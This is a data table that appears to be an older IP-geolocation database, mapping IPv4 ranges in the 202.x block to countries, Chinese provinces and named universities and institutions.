202.119.136.000__202.119.143.255__盐城工学院____
202.119.144.000__202.119.159.255__南京铁道医学院____
202.119.160.000__202.119.167.255__南京电力高等专科学校____
202.119.168.000__202.119.171.255__江苏省常州工业学校____
202.119.172.000__202.119.175.255__江苏省教育委员会____
202.119.176.000__202.119.191.255__中国药科大学____
202.119.192.000__202.119.207.255__中国矿业大学____
202.119.208.000__202.119.223.255__南京林业大学____
202.119.224.000__202.119.239.255__南京邮电大学____
202.119.240.000__202.119.255.255__南京化工大学____
202.120.000.000__202.120.063.255__上海交通大学____
202.120.064.000__202.120.079.255__上海医药大学____
202.120.080.000__202.120.095.255__华东师范大学____
202.120.096.000__202.120.111.255__华东理工大学____
202.120.112.000__202.120.127.255__上海大学____
202.120.128.000__202.120.143.255__上海第二医药大学____
202.120.144.000__202.120.159.255__中国纺织大学____
202.120.160.000__202.120.175.255__上海铁道大学____
202.120.176.000__202.120.191.255__同济大学____
202.120.192.000__202.120.203.255__上海____
202.120.204.000__202.120.207.255__华东理工大学石油化工学院____
202.120.208.000__202.120.223.255__华东工业大学____
202.120.224.000__202.120.255.255__复旦大学____
202.121.000.000__202.121.015.255__上海____
202.121.020.000__202.121.023.255__上海公安高等专科学校____
202.121.028.000__202.121.031.255__上海海关高等专科学校____
202.121.032.000__202.121.047.255__上海中医药大学____
202.121.048.000__202.121.063.255__上海师范大学____
202.121.064.000__202.121.079.255__上海水产大学____
202.121.080.000__202.121.095.255__上海电视大学____
202.121.096.000__202.121.111.255__上海国际研究大学____
202.121.112.000__202.121.127.255__上海工程大学____
202.121.128.000__202.121.143.255__上海财经大学____
202.121.144.000__202.121.147.255__上海纺织高等专科学校____
202.121.148.000__202.121.151.255__上海市教育考试院____
202.121.160.000__202.121.167.255__华东政法学院____
202.121.168.000__202.121.175.255__杉达大学____
202.121.176.000__202.121.183.255__上海农学院____
202.121.192.000__202.121.199.255__上海有线电视台____
202.121.208.000__202.121.223.255__上海海事大学____
202.121.224.000__202.121.239.255__第二军医大学____
202.121.240.000__202.121.243.255__上海第二工业大学____
202.121.244.000__202.121.247.255__上海旅游高等专科学校____
202.121.248.000__202.121.251.255__上海医学高等专科学校____
202.121.252.000__202.121.255.255__上海金融高等专科学校____
202.122.000.000__202.122.007.255__复旦大学____
202.122.032.000__202.122.039.255__北京____
202.122.128.000__202.122.128.255__北京____
202.127.000.000__202.127.001.255__上海____
202.127.012.000__202.127.015.255__江苏____
202.127.016.001__202.127.031.255__上海____
202.127.040.000__202.127.047.255__北京____
202.127.200.000__202.127.207.255__安徽____
202.128.000.000__202.128.095.255__关岛____
202.130.003.000__202.130.003.255__北京____
202.130.008.000__202.130.008.255__广东____
202.130.026.000__202.130.026.255__陕西____
202.130.029.000__202.130.029.255__黑龙江____
202.130.000.000__202.130.031.255__中国____
202.130.033.000__202.130.033.255__陕西____
202.130.064.000__202.130.159.255__香港____
202.130.226.000__202.130.247.255__北京____
202.130.248.000__202.130.249.255__上海____
202.130.224.000__202.130.255.255__中国____
202.131.000.000__202.131.255.255__蒙古____
202.132.000.000__202.133.255.255__APNIC____
202.134.000.000__202.134.031.255__菲律宾____
202.134.128.000__202.134.159.255__印度____
202.134.224.000__202.134.255.255__菲律宾____
202.135.000.000__202.135.255.255__APNIC____
202.136.000.000__202.136.127.255__菲律宾____
202.136.252.000__202.136.255.255__中国____
202.137.000.000__202.137.031.255__印度尼西亚____
202.137.064.000__202.137.095.255__澳大利亚____
202.137.128.000__202.137.159.255__老挝____
202.137.224.000__202.137.255.255__马来西亚____
202.138.000.000__202.138.063.255__澳大利亚____
202.138.128.000__202.138.159.255__菲律宾____
202.138.224.000__202.138.255.255__印度尼西亚____
202.139.000.000__202.139.063.255__澳大利亚____
202.139.192.000__202.139.207.255__日本____
202.139.224.000__202.139.255.255__澳大利亚____
202.140.000.000__202.140.031.255__日本____
202.140.096.000__202.140.127.255__香港____
202.140.128.000__202.140.159.255__印度____
202.140.224.000__202.140.255.255__澳大利亚____
202.141.000.000__202.143.031.255__印度____
202.143.064.000__202.143.095.255__澳大利亚____
202.144.000.000__202.144.063.255__印度____
202.144.128.000__202.144.159.255__不丹____
202.144.160.000__202.144.191.255__印度____
202.144.224.000__202.144.255.255__香港____
202.145.000.000__202.145.031.255__印度尼西亚____
202.145.032.000__202.145.255.255__台湾____
202.146.000.000__202.146.031.255__印度尼西亚____
202.146.096.000__202.146.127.255__香港____
202.146.128.000__202.146.255.255__印度尼西亚____
202.147.000.000__202.147.159.255__澳大利亚____
202.147.224.000__202.148.031.255__印度尼西亚____
202.148.064.000__202.148.095.255__澳大利亚____
202.148.128.000__202.148.191.255__新西兰____
202.149.001.000__202.152.255.255__印度尼西亚____
202.153.000.000__202.153.255.255__泰国____
202.154.000.000__202.159.255.255__印度尼西亚____
202.160.000.000__202.160.063.255__文莱达鲁萨兰国____
202.160.064.000__202.160.095.255__台湾____
202.160.224.000__202.160.255.255__新加坡____
202.161.000.000__202.161.127.255__澳大利亚____
202.161.128.000__202.161.159.255__APNIC____
202.161.224.000__202.161.255.255__香港____
202.162.000.000__202.162.031.255__马来西亚____
202.162.064.000__202.162.095.255__台湾____
202.162.128.000__202.162.255.255__印度____
202.163.000.000__202.163.031.255__香港____
202.163.096.000__202.163.127.255__巴基斯坦____
202.163.128.000__202.163.159.255__澳大利亚____
202.163.224.000__202.163.255.255__菲律宾____
202.164.000.000__202.164.031.255__印度尼西亚____
202.164.096.000__202.164.127.255__印度____
202.164.128.000__202.164.159.255__菲律宾____
202.164.224.000__202.165.159.255__澳大利亚____
202.165.224.000__202.165.255.255__巴基斯坦____
202.166.000.000__202.166.063.255__新加坡____
202.166.192.000__202.166.255.255__台湾____
202.167.000.000__202.167.255.255__APNIC____
202.168.000.000__202.168.031.255__菲律宾____
202.168.096.000__202.168.159.255__澳大利亚____
202.168.224.000__202.168.255.255__孟加拉国____
202.169.000.000__202.169.031.255__香港____
202.169.064.000__202.169.159.255__印度____
202.169.224.000__202.169.255.255__新加坡____
202.170.000.000__202.170.031.255__香港____
202.170.064.000__202.170.095.255__蒙古____
202.170.128.000__202.170.159.255__印度____
202.170.224.000__202.170.255.255__印度尼西亚____
202.171.000.000__202.175.255.255__澳门____
202.176.000.000__202.176.000.031__新加坡____
202.176.000.032__202.176.003.255__日本____
202.177.000.000__202.177.031.255__香港____
202.177.064.000__202.177.095.255__澳大利亚____
202.177.128.000__202.177.255.255__印度____
202.178.000.000__202.178.063.255__马来西亚____
202.178.224.000__202.178.255.255__台湾____
202.179.000.000__202.179.031.255__蒙古____
202.179.064.000__202.179.095.255__印度____
202.179.128.000__202.179.159.255__巴基斯坦____
202.179.224.000__202.179.255.255__澳大利亚____
202.180.000.000__202.180.031.255__印度尼西亚____
202.180.224.000__202.181.031.255__澳大利亚____
202.181.224.000__202.181.255.255__香港____
202.182.000.000__202.182.031.255__泰国____
202.182.064.000__202.182.095.255__澳大利亚____
202.182.224.000__202.182.255.255__香港____
202.183.000.000__202.183.031.255__印度尼西亚____
202.183.192.000__202.183.255.255__泰国____
202.184.000.000__202.191.255.255__马来西亚____
202.192.000.000__202.192.015.255__中国教育网____
202.192.016.000__202.192.031.255__广州大学____
202.192.032.000__202.192.047.255__广州师范学院____
202.192.064.000__202.192.071.255__广州教育学院____
202.192.112.000__202.192.127.255__广东医学院____
202.192.128.000__202.192.143.255__湛江师范学院____
202.192.144.000__202.192.159.255__汕头大学____
202.192.160.000__202.192.175.255__佛山大学____
202.192.176.000__202.192.179.255__广东____
202.192.192.000__202.192.199.255__东莞技术学院____
202.192.208.000__202.192.223.255__东莞技术培训学院____
202.192.224.000__202.192.239.255__惠州大学____
202.192.240.000__202.192.255.255__五邑大学____
202.193.000.000__202.193.015.255__广西大学____
202.193.064.000__202.193.079.255__桂林电子工业学院____
202.193.104.000__202.193.111.255__桂林市师范学校____
202.193.112.000__202.193.127.255__桂林经管学院____
202.193.128.000__202.193.143.255__桂林旅游学院____
202.193.144.000__202.193.159.255__广西____
202.193.160.000__202.193.175.255__广西师范大学____
202.193.176.000__202.193.191.255__广西技术学院____
202.193.192.000__202.193.207.255__桂林医学院____
202.193.208.000__202.193.223.255__桂林师范学院____
202.193.224.000__202.193.239.255__桂林市教育学院____
202.193.240.000__202.193.255.255__桂林少数民族师范学校____
202.194.000.000__202.194.031.255__山东大学____
202.194.032.000__202.194.047.255__青岛海洋大学____
202.194.064.000__202.194.079.255__山东建材学院____
202.194.080.000__202.194.095.255__山东建筑工程学院____
202.194.112.000__202.194.127.255__烟台大学____
202.194.128.000__202.194.143.255__山东农业大学____
202.194.144.000__202.194.159.255__华东石油大学____
202.194.176.000__202.194.191.255__曲阜师范大学____
202.194.192.000__202.194.207.255__山东工业大学____
202.194.240.000__202.194.255.255__合肥工业大学____
202.195.048.000__202.195.063.255__扬州大学____
202.195.096.000__202.195.103.255__江苏石油学院____
202.195.112.000__202.195.127.255__南京通信工程学院____
202.195.128.000__202.195.143.255__苏州大学____
202.195.144.000__202.195.159.255__无锡轻工业学院____
202.195.160.000__202.195.175.255__江苏理工大学____
202.195.176.000__202.195.191.255__南京医科大学____
202.195.192.000__202.195.207.255__华东船舶工业学院____
202.195.208.000__202.195.215.255__南京中医药大学____
202.195.224.000__202.195.239.255__南京气象学院____
202.195.240.000__202.195.255.255__南京农业大学____
202.196.000.000__202.196.015.255__郑州轻工业学院____
202.196.016.000__202.196.031.255__郑州粮食学院____
202.196.032.000__202.196.047.255__郑州纺织学院____
202.196.048.000__202.196.063.255__郑州电子工业学院____
202.196.064.000__202.196.079.255__郑州大学____
202.196.096.000__202.196.111.255__河南大学____
202.196.240.000__202.196.255.255__安阳师范专科学校____
202.197.000.000__202.197.015.255__国防大学____
202.197.016.000__202.197.023.255__长沙工学院____
202.197.032.000__202.197.047.255__长沙铁道学院____
202.197.048.000__202.197.063.255__长沙工业高等专科学校____
202.197.064.000__202.197.079.255__中南工业大学____
202.197.080.000__202.197.095.255__湖南医科大学____
202.197.096.000__202.197.111.255__湖南大学____
202.197.112.000__202.197.127.255__湖南师范大学____
202.197.128.000__202.197.143.255__长江水利委员会____
202.197.144.000__202.197.159.255__湖北教育学院____
202.197.160.000__202.197.175.255__武汉钢铁公司____
202.197.176.000__202.197.191.255__郑州工业大学____
202.197.192.000__202.197.207.255__郑州电力学院____
202.197.208.000__202.197.223.255__黄河科技大学____
202.197.224.000__202.197.239.255__湘潭大学____
202.197.240.000__202.197.247.255__湘潭机电高等专科学校____
202.197.248.000__202.197.255.255__湘潭矿业学院____
202.198.016.000__202.198.031.255__吉林大学____
202.198.032.000__202.198.047.255__吉林工业大学____
202.198.064.000__202.198.079.255__哈尔滨建筑大学____
202.198.080.000__202.198.087.255__哈尔滨医科大学____
202.198.096.000__202.198.111.255__黑龙江大学____
202.198.112.000__202.198.119.255__大庆职工大学____
202.198.128.000__202.198.143.255__东北师范大学____
202.198.144.000__202.198.159.255__长春地质大学____
202.198.160.000__202.198.175.255__长春邮电学院____
202.198.192.000__202.198.207.255__延边大学____
202.198.208.000__202.198.223.255__延边农学院____
202.198.240.000__202.198.255.255__延边大学____
202.199.024.000__202.199.031.255__沈阳航空工程研究所____
202.199.032.000__202.199.047.255__沈阳大学____
202.199.048.000__202.199.055.255__沈阳技术学院____
202.199.056.000__202.199.063.255__沈阳财经大学____
202.199.064.000__202.199.079.255__沈阳建筑工程学院____
202.199.080.000__202.199.087.255__沈阳药科大学____
202.199.096.000__202.199.111.255__沈阳工业大学____
202.199.112.000__202.199.119.255__沈阳化工学院____
202.199.128.000__202.199.143.255__大连铁道学院____
202.199.144.000__202.199.159.255__大连大学____
202.199.160.000__202.199.175.255__东北财经大____
202.199.176.000__202.199.183.255__辽宁税务高等专科学校____
202.199.184.000__202.199.187.255__辽宁交通高等专科学校____
202.199.192.000__202.199.193.255__辽宁____
202.199.212.000__202.199.215.255__辽宁省邮电学校____
202.199.216.000__202.199.223.255__辽宁营口大学____
202.199.224.000__202.199.239.255__辽宁工程技术大学____
202.199.240.000__202.199.247.255__辽宁____
202.199.248.000__202.199.255.255__鞍山师范学院____
202.200.032.000__202.200.047.255__第四军医大学____
202.200.064.000__202.200.079.255__西北轻工业学院____
202.200.080.000__202.200.095.255__西安石油学院____
202.200.096.000__202.200.111.255__西安工业学院____
202.200.112.000__202.200.127.255__西安理工大学____
202.200.128.000__202.200.135.255__西安____
202.200.144.000__202.200.159.255__西安建筑科技大学____
202.201.000.000__202.201.015.255__兰州大学____
202.201.016.000__202.201.031.255__兰州铁道学院____
202.201.080.000__202.201.080.255__广东____
202.201.128.000__202.201.143.255__宁夏大学____
202.201.240.000__202.201.255.255__新疆大学____
202.202.016.000__202.202.031.255__华西医科大学____
202.202.032.000__202.202.047.255__重庆邮电学院____
202.202.048.000__202.202.055.255__成都技术学院____
202.202.064.000__202.202.079.255__成都科技大学____
202.202.080.000__202.202.095.255__成都地质学院____
202.202.240.000__202.202.255.255__重庆交通大学____
202.203.000.000__202.203.015.255__贵州大学____
202.203.016.000__202.203.031.255__贵州工学院____
202.203.160.000__202.203.175.255__昆明工学院____
202.203.176.000__202.203.191.255__云南农业大学____
202.203.192.000__202.203.207.255__云南财经学院____
202.203.208.000__202.203.223.255__云南大学____
202.203.224.000__202.203.239.255__云南师范大学____
202.203.240.000__202.203.255.255__云南工业大学____
202.204.015.000__202.204.015.255__北京____
202.204.016.000__202.204.019.255__中国工运学院____
202.204.024.000__202.204.027.255__北方工业大学____
202.204.028.000__202.204.031.255__北京联合大学机械工程学院____
202.204.032.000__202.204.047.255__北京中医药大学____
202.204.048.000__202.204.063.255__北京科技大学____
202.204.064.000__202.204.079.255__华北电力大学____
202.204.080.000__202.204.095.255__北京理工大学____
202.204.096.000__202.204.111.255__中国地质大学____
202.204.112.000__202.204.127.255__北京林业大学____
202.204.144.000__202.204.159.255__首都经贸大学____
202.204.248.000__202.204.255.255__中国林业科学院____
202.205.176.000__202.205.191.255__北京____
202.205.240.000__202.205.243.255__北京北方商业学院____
202.205.244.000__202.205.255.255__北京____
202.206.000.000__202.206.015.255__河北大学____
202.206.016.000__202.206.023.255__东北大学秦皇岛分校____
202.206.024.000__202.206.031.255__河北政法管理干部学院____
202.206.032.000__202.206.047.255__石家庄铁道学院____
202.206.048.000__202.206.063.255__河北医科大学____
202.206.064.000__202.206.079.255__河北科技大学____
202.206.080.000__202.206.095.255__石家庄市大学____
202.206.096.000__202.206.111.255__河北师范大学____
202.206.112.000__202.206.113.255__石家庄市第二中学____
202.206.114.000__202.206.115.255__石家庄市外国语学校____
202.206.116.000__202.206.119.255__河北教委____
202.206.120.000__202.206.127.255__河北科技大学____
202.206.128.000__202.206.143.255__军械工程学院____
202.206.144.000__202.206.159.255__石家庄经济学院____
202.206.160.000__202.206.175.255__河北建筑科技学院____
202.206.176.000__202.206.191.255__中国人民武装警察部队学院____
202.206.192.000__202.206.207.255__河北经贸大学____
202.206.208.000__202.206.223.255__华北电力大学____
202.206.224.000__202.206.239.255__承德民族师范专科学校____
202.206.240.000__202.206.255.255__燕山大学____
202.207.000.000__202.207.015.255__内蒙古大学____
202.207.016.000__202.207.031.255__内蒙古工业大学____
202.207.032.000__202.207.047.255__内蒙古工业大学电力学院____
202.207.048.000__202.207.063.255__内蒙古农业大学____
202.207.064.000__202.207.079.255__内蒙古教委____
202.207.120.000__202.207.127.255__石家庄邮电学院____
202.207.128.000__202.207.131.255__山西____
202.207.160.000__202.207.175.255__山西师范大学____
202.207.176.000__202.207.191.255__华北工学院____
202.207.192.000__202.207.207.255__山西医科大学____
202.207.208.000__202.207.223.255__山西大学____
202.207.224.000__202.207.231.255__山西长治医学院____
202.207.232.000__202.207.239.255__山西科委____
202.207.240.000__202.207.255.255__太原工业大学____
202.192.000.000__202.207.255.255__中国教育网____
202.208.000.000__202.255.255.255__日本____
202.103.102.128__202.103.127.255__湖南____
202.103.128.000__202.103.191.255__广东____
202.103.192.000__202.103.255.255__广西____
202.104.000.000__202.105.255.255__广东____
202.106.000.000__202.106.255.255__北京____
202.107.006.000__202.107.100.255__辽宁____
202.107.144.000__202.107.159.255__新疆____
202.107.192.000__202.107.255.255__浙江____
202.108.000.000__202.108.255.255__北京____
202.109.000.000__202.109.127.255__上海____
202.109.128.000__202.109.191.255__江西____
202.109.192.000__202.109.255.255__福建____
202.110.000.000__202.110.063.255__辽宁____
202.110.064.000__202.110.127.255__河南____
202.110.128.000__202.110.191.255__湖北____
202.110.192.000__202.110.255.255__山东____
202.111.000.000__202.111.127.255__江苏____
202.111.128.000__202.111.159.255__河南____
202.111.160.000__202.111.191.255__吉林____
202.111.192.000__202.111.223.255__安徽____
202.112.008.000__202.112.008.255__北京大学____
202.112.000.000__202.112.031.255__中国教育网____
202.112.032.000__202.112.039.255__北京____
202.112.040.000__202.112.047.255__上海____
202.112.048.000__202.112.055.255__广东____
202.112.056.000__202.112.063.255__北京____
202.112.064.000__202.112.079.255__北京工业大学____
202.112.080.000__202.112.095.255__北京师范大学____
202.112.096.000__202.112.111.255__北京邮电学院____
202.112.112.000__202.112.127.255__中国人民大学____
202.112.128.000__202.112.143.255__北京航空航天大学____
202.112.144.000__202.112.159.255__北方交通大学____
202.112.160.000__202.112.175.255__北京农业大学____
202.112.176.000__202.112.191.255__北京医药大学____
202.112.192.000__202.112.207.255__北京语言文化大学____
202.112.208.000__202.112.215.255__中国矿业大学北京研究生部____
202.112.216.000__202.112.243.255__北京____
202.112.248.000__202.112.255.255__中国图书馆____
202.113.000.000__202.113.015.255__天津大学____
202.113.016.000__202.113.031.255__南开大学____
202.113.032.000__202.113.047.255__中国民用航空学院____
202.113.048.000__202.113.063.255__天津医科大学____
202.113.064.000__202.113.079.255__天津理工学院____
202.113.080.000__202.113.087.255__天津商学院____
202.113.088.000__202.113.095.255__天津城市建设学院____
202.113.096.000__202.113.111.255__天津师范大学____
202.113.112.000__202.113.127.255__河北工业大学____
202.113.128.000__202.113.143.255__天津财经学院____
202.113.144.000__202.113.159.255__天津广播电视大学____
202.113.160.000__202.113.163.255__天津____
202.113.168.000__202.113.175.255__天津中医学院____
202.113.176.000__202.113.191.255__天津大学____
202.113.192.000__202.113.207.255__武警指挥学院____
202.113.208.000__202.113.215.255__天津商学院____
202.101.105.160__202.101.155.255__福建____
202.101.160.000__202.101.191.255__浙江____
202.101.196.000__202.101.197.255__江西____
202.101.209.000__202.101.209.255__华东交通大学____
202.101.212.000__202.101.212.255__华东地质学院____
202.101.192.000__202.101.255.255__江西____
202.102.000.000__202.102.127.255__江苏____
202.102.132.000__202.102.190.255__山东____
202.102.192.000__202.102.223.255__安徽____
202.102.224.000__202.102.255.255__河南____
202.103.000.000__202.103.063.255__湖北____
202.103.064.000__202.103.127.255__湖南____
202.096.133.000__202.096.191.255__广东____
202.096.192.000__202.096.255.255__上海____
202.097.026.000__202.097.028.255__北京____
202.097.030.000__202.097.030.255__陕西____
202.097.128.000__202.097.159.255__山西____
202.097.160.000__202.097.191.255__辽宁____
202.097.192.000__202.097.255.255__黑龙江____
202.098.000.000__202.098.031.255__吉林____
202.098.032.000__202.098.063.255__重庆____
202.098.064.000__202.098.095.255__云南____
202.098.096.000__202.098.159.255__四川____
202.098.160.000__202.098.191.255__云南____
202.098.192.000__202.098.223.255__贵州____
202.098.224.000__202.098.255.255__西藏____
202.099.000.000__202.099.063.255__北京____
202.099.064.000__202.099.127.255__天津____
202.099.130.000__202.099.191.255__河北____
202.099.192.000__202.099.223.255__山西____
202.099.224.000__202.099.255.255__内蒙古____
202.100.000.000__202.100.063.255__陕西____
202.100.064.000__202.100.095.255__甘肃____
202.100.096.000__202.100.127.255__宁夏____
202.100.128.000__202.100.159.255__青海____
202.100.160.000__202.100.191.255__新疆____
202.100.192.000__202.100.223.255__海南____
202.101.000.000__202.101.063.255__上海____
202.101.064.000__202.101.095.255__贵州____
202.101.096.000__202.101.159.255__福建____
202.038.168.000__202.038.170.255__北京____
202.038.171.000__202.038.172.255__广东____
202.038.173.000__202.038.173.255__辽宁____
202.038.174.000__202.038.176.255__北京____
202.038.192.000__202.038.255.255__华南理工大学____
202.039.000.000__202.039.255.255__台湾____
202.040.000.000__202.040.255.255__香港____
202.041.000.000__202.041.255.255__印度____
202.042.000.000__202.042.255.255__新加坡____
202.043.000.000__202.043.031.255__阿联酋____
202.043.032.000__202.043.063.255__印度____
202.043.064.000__202.043.095.255__台湾____
202.043.128.000__202.043.159.255__菲律宾____
202.043.224.000__202.043.255.255__印度尼西亚____
202.044.000.000__202.044.255.255__泰国____
202.045.000.000__202.045.255.255__香港____
202.046.000.000__202.046.031.255__印度尼西亚____
202.046.032.000__202.046.063.255__澳大利亚____
202.046.064.000__202.046.255.255__印度尼西亚____
202.047.000.000__202.047.031.255__菲律宾____
202.047.032.000__202.047.063.255__澳大利亚____
202.047.096.000__202.047.141.255__菲律宾____
202.047.248.000__202.047.255.255__泰国____
202.048.000.000__202.048.255.255__日本____
202.049.000.000__202.050.255.255__新西兰____
202.051.000.000__202.051.031.255__尼泊尔____
202.051.032.000__202.051.063.255__印度____
202.051.128.000__202.051.159.255__斯里兰卡____
202.051.192.000__202.051.255.255__印度尼西亚____
202.052.000.000__202.052.031.255__尼泊尔____
202.052.064.000__202.052.127.255__台湾____
202.052.128.000__202.052.159.255__香港____
202.052.224.000__202.053.031.255__尼泊尔____
202.053.032.000__202.053.063.255__澳大利亚____
202.053.128.000__202.053.159.255__香港____
202.053.224.000__202.053.255.255__印度尼西亚____
202.054.000.000__202.056.031.255__印度____
202.056.096.000__202.056.127.255__菲律宾____
202.056.224.000__202.057.031.255__印度____
202.057.032.000__202.057.127.255__菲律宾____
202.057.128.000__202.057.159.255__泰国____
202.057.224.000__202.057.255.255__香港____
202.058.000.000__202.058.031.255__老挝____
202.058.096.000__202.058.127.255__菲律宾____
202.058.128.000__202.058.159.255__巴布亚新几内亚____
202.058.224.000__202.058.255.255__菲律宾____
202.059.000.000__202.059.031.255__汤加____
202.059.032.000__202.059.063.255__澳大利亚____
202.059.128.000__202.059.159.255__菲律宾____
202.059.224.000__202.059.255.255__泰国____
202.060.000.000__202.060.031.255__毛里求斯____
202.060.064.000__202.060.095.255__台湾____
202.060.128.000__202.060.159.255__印度____
202.060.224.000__202.060.255.255__香港____
202.061.000.000__202.061.031.255__巴布亚新几内亚____
202.061.032.000__202.061.063.255__台湾____
202.061.064.000__202.061.095.255__菲律宾____
202.061.192.000__202.061.255.255__澳大利亚____
202.062.000.000__202.062.127.255__斐济____
202.062.128.000__202.062.159.255__澳大利亚____
202.062.224.000__202.062.255.255__斐济____
202.063.000.000__202.063.031.255__香港____
202.063.096.000__202.063.127.255__印度____
202.063.128.000__202.063.159.255__香港____
202.063.224.000__202.063.255.255__所罗门群岛____
202.064.000.000__202.065.031.255__香港____
202.065.064.000__202.065.095.255__澳大利亚____
202.065.128.000__202.065.159.255__印度____
202.065.224.000__202.074.031.255__香港____
202.074.032.000__202.074.063.255__泰国____
202.074.128.000__202.074.159.255__澳大利亚____
202.074.224.000__202.075.095.255__香港____
202.075.128.000__202.075.159.255__马来西亚____
202.075.224.000__202.076.127.255__香港____
202.076.128.000__202.076.159.255__澳大利亚____
202.076.224.000__202.078.031.255__香港____
202.078.064.000__202.078.095.255__菲律宾____
202.078.128.000__202.078.159.255__新西兰____
202.078.224.000__202.079.031.255__香港____
202.079.032.000__202.079.063.255__尼泊尔____
202.079.128.000__202.079.159.255__菲律宾____
202.079.224.000__202.080.031.255__香港____
202.080.064.000__202.080.095.255__澳大利亚____
202.080.128.000__202.080.159.255__台湾____
202.080.224.000__202.080.255.255__泰国____
202.081.000.000__202.089.255.255__香港____
202.090.000.000__202.090.007.255__广东____
202.091.000.000__202.091.131.255__北京____
202.092.000.000__202.092.003.255__江苏____
202.092.252.000__202.092.255.255__北京____
202.093.000.000__202.093.003.255__广东____
202.093.110.000__202.093.110.255__辽宁____
202.093.252.000__202.093.255.255__北京____
202.094.000.000__202.094.031.255__中网____
202.095.000.000__202.095.003.255__东方环讯____
202.095.001.000__202.095.001.255__四川____
202.095.002.000__202.095.003.255__上海____
202.095.252.000__202.095.255.255__中国____
202.096.000.000__202.096.038.255__北京____
202.096.044.000__202.096.044.255__北京____
202.096.049.000__202.096.051.255__北京____
202.096.064.000__202.096.095.255__辽宁____
202.096.096.000__202.096.127.255__浙江____
202.096.128.000__202.096.191.255__广东____
202.001.006.000__202.001.007.255__香港____
202.001.008.000__202.001.015.255__新西兰____
202.001.016.000__202.001.031.255__澳大利亚____
202.001.032.000__202.001.063.255__巴布亚新几内亚____
202.001.064.000__202.001.159.255__新加坡____
202.001.160.000__202.001.191.255__所罗门群岛____
202.001.192.000__202.001.223.255__马尔代夫____
202.001.224.000__202.001.231.255__澳大利亚____
202.001.240.000__202.001.255.255__巴布亚新几内亚____
202.002.000.000__202.002.003.255__澳大利亚____
202.002.004.000__202.002.015.255__新西兰____
202.002.016.000__202.002.031.255__澳大利亚____
202.002.032.000__202.002.051.255__香港____
202.002.052.000__202.002.055.255__台湾____
202.002.064.000__202.002.095.255__香港____
202.002.128.000__202.002.255.255__APNIC____
202.003.000.000__202.003.015.255__澳大利亚____
202.003.016.000__202.003.031.255__新西兰____
202.003.096.000__202.003.127.255__印度尼西亚____
202.003.128.000__202.003.255.255__法属玻利尼西亚____
202.004.000.000__202.004.015.255__菲律宾____
202.004.016.000__202.004.024.255__新西兰____
202.004.032.000__202.004.063.255__西萨摩亚____
202.004.096.000__202.004.127.255__孟加拉国____
202.004.128.000__202.004.159.255__北京化工大学____
202.004.159.000__202.004.223.255__香港____
202.004.224.000__202.004.255.255__北京____
202.005.000.000__202.005.031.255__澳大利亚____
202.005.032.000__202.005.063.255__孟加拉国____
202.005.096.000__202.005.127.255__澳大利亚____
202.005.128.000__202.005.159.255__巴基斯坦____
202.005.224.000__202.005.255.255__台湾____
202.006.003.000__202.006.004.255__澳大利亚____
202.006.005.000__202.006.007.255__新西兰____
202.006.008.000__202.006.083.255__澳大利亚____
202.006.084.000__202.006.087.255__新西兰____
202.006.088.000__202.006.089.255__APNIC____
202.006.090.000__202.006.090.255__泰国____
202.006.091.000__202.006.092.255__澳大利亚____
202.006.093.000__202.006.093.255__新西兰____
202.006.095.000__202.006.095.255__南朝鲜____
202.006.098.000__202.006.098.255__日本____
202.006.100.000__202.006.101.255__泰国____
202.006.102.000__202.006.102.255__新加坡____
202.006.103.000__202.006.103.255__日本____
202.006.106.000__202.006.106.255__澳大利亚____
202.006.107.000__202.006.107.255__泰国____
202.006.108.000__202.006.108.255__澳大利亚____
202.006.109.000__202.006.110.255__新西兰____
202.006.111.000__202.006.111.255__泰国____
202.006.112.000__202.006.115.255__澳大利亚____
202.006.128.000__202.007.003.255__APNIC____
202.007.004.000__202.007.007.255__新西兰____
202.007.008.000__202.007.015.255__澳大利亚____
202.007.032.000__202.007.063.255__新西兰____
202.007.128.000__202.007.159.255__香港____
202.007.224.000__202.007.255.255__澳大利亚____
202.008.000.000__202.008.005.255__新加坡____
202.008.008.000__202.008.012.255__新西兰____
202.008.016.000__202.008.039.255__澳大利亚____
202.008.064.000__202.008.075.255__泰国____
202.008.094.000__202.008.095.255__新加坡____
202.008.096.000__202.008.127.255__澳大利亚____
202.008.128.000__202.008.159.255__APNIC____
202.008.224.000__202.008.255.255__菲律宾____
202.009.000.000__202.009.015.255__澳大利亚____
202.009.064.000__202.009.095.255__马来西亚____
202.009.128.000__202.009.159.255__印度____
202.009.224.000__202.010.255.255__澳大利亚____
202.011.000.000__202.011.255.255__日本____
202.012.000.000__202.012.000.255__新西兰____
202.012.001.000__202.012.001.255__澳大利亚____
202.012.002.000__202.012.002.255__新加坡____
202.012.003.000__202.012.003.255__新西兰____
202.012.004.000__202.012.007.255__香港____
202.012.008.000__202.012.015.255__日本____
202.012.017.000__202.012.018.255__菲律宾____
202.012.019.000__202.012.021.255__APNIC____
202.012.022.000__202.012.025.255__澳大利亚____
202.012.026.000__202.012.026.255__文莱达鲁萨兰国____
202.012.027.000__202.012.031.255__APNIC____
202.012.032.000__202.012.069.255__澳大利亚____
202.012.070.000__202.012.070.255__新西兰____
202.012.071.000__202.012.072.255__澳大利亚____
202.012.073.000__202.012.074.255__泰国____
202.012.075.000__202.012.075.255__澳大利亚____
202.012.076.000__202.012.085.255__新西兰____
202.012.086.000__202.012.090.255__澳大利亚____
202.012.091.000__202.012.091.255__新西兰____
202.012.092.000__202.012.093.255__澳大利亚____
202.012.094.000__202.012.095.255__新加坡____
202.012.096.000__202.012.096.255__新西兰____
202.012.097.000__202.012.097.255__泰国____
202.012.098.000__202.012.100.255__澳大利亚____
202.012.101.000__202.012.105.255__新西兰____
202.012.106.000__202.012.107.255__澳大利亚____
202.012.108.000__202.012.108.255__新西兰____
202.012.109.000__202.012.115.255__澳大利亚____
202.012.116.000__202.012.116.255__泰国____
202.012.119.000__202.012.121.255__澳大利亚____
202.012.122.000__202.012.124.255__新西兰____
202.012.125.000__202.012.242.255__澳大利亚____
202.013.000.000__202.013.254.255__日本____
202.014.000.000__202.014.007.255__澳大利亚____
202.014.008.000__202.014.015.255__台湾____
202.014.016.000__202.014.063.255__新西兰____
202.014.064.000__202.014.065.255__澳大利亚____
202.014.066.000__202.014.066.255__澳大利亚____
202.014.067.000__202.014.068.255__香港____
202.014.073.000__202.014.075.255__新西兰____
202.014.076.000__202.014.079.255__澳大利亚____
202.014.080.000__202.014.080.255__香港____
202.014.081.000__202.014.081.255__澳大利亚____
202.014.082.000__202.014.084.255__新西兰____
202.014.088.000__202.014.088.255__北京计算机应用学院____
202.014.089.000__202.014.089.255__澳大利亚____
202.014.090.000__202.014.094.255__泰国____
202.014.095.000__202.014.095.255__澳大利亚____
202.014.096.000__202.014.100.255__新西兰____
